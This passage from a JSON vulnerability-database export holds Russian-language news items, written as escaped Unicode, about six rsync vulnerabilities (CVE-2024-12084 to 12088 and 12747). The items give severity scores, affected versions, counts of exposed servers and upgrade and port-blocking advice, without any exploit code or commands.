\u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432:\n\n- \u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 (CVE-2024-12084, CVSS: 9.8): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 Rsync, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 3.2.7 \u0434\u043e < 3.4.0 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\n- \u0423\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2024-12085, CVSS: 7.5): \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0442\u0435\u0447\u043a\u0443 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0435\u043a\u0430 \u043f\u0440\u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0444\u0430\u0439\u043b\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u0438\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0447\u0442\u043e\u0431\u044b \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- Server Leaks Arbitrary Client Files (CVE-2024-12086, CVSS: 6.1): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 (CVE-2024-12087, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --inc-recursive. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links (CVE-2024-12088, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 Rsync \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 (CVE-2024-12747, CVSS: 5.6): \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\nCERT/C \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0441 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 Rsync, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 Red Hat, Arch, Gentoo, Ubuntu NixOS, AlmaLinux OS Foundation \u0438 Triton Data Center \u043a\u0430\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0438\u043a\u0430\u043a \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u043f\u043e CVE-2024-12084 RedHat \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u0435\u0440 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Rsync \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan, \u0432 \u0441\u0435\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 660 000 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 Rsync. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e - \u0432 \u041a\u0438\u0442\u0430\u0435 (521 000), \u0434\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0421\u0428\u0410, \u0413\u043e\u043d\u043a\u043e\u043d\u0433, \u041a\u043e\u0440\u0435\u044f, \u0420\u043e\u0441\u0441\u0438\u044f \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u044f, \u043d\u043e \u0438\u0445 \u0447\u0438\u0441\u043b\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044c\u0448\u0435.\n\n\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync 306 517 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 TCP-\u043f\u043e\u0440\u0442\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e 873, \u0430 21 239 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0440\u0442 8873, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f Rsync \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSH.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u044f\u0441\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043b\u0438 \u043e\u043d\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u00a0\u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435\u00a0\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.0 \u0438\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0434\u0435\u043c\u043e\u043d \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c TCP-\u043f\u043e\u0440\u0442 873 \u043f\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.", "creation_timestamp": "2025-01-16T15:20:27.000000Z"}, {"uuid": "74e0179b-d668-4093-9570-a8dcb7c7d994", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12087", "type": "exploited", "source": "https://t.me/S_E_Reborn/5357", "content": "\u0411\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0448\u0435\u0441\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\n\nRsync - \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (Rclone, DeltaCopy, ChronoSync), \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043e\u0431\u043b\u0430\u043a\u0430\u043c\u0438 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Rsync \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Google Cloud \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0414\u043b\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 rsync, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c\u0443 \u0437\u0435\u0440\u043a\u0430\u043b\u0443, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432:\n\n- \u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 (CVE-2024-12084, CVSS: 9.8): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 Rsync, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 3.2.7 \u0434\u043e < 3.4.0 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\n- \u0423\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2024-12085, CVSS: 7.5): \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0442\u0435\u0447\u043a\u0443 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0435\u043a\u0430 \u043f\u0440\u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0444\u0430\u0439\u043b\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u0438\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0447\u0442\u043e\u0431\u044b \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- Server Leaks Arbitrary Client Files (CVE-2024-12086, CVSS: 6.1): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f 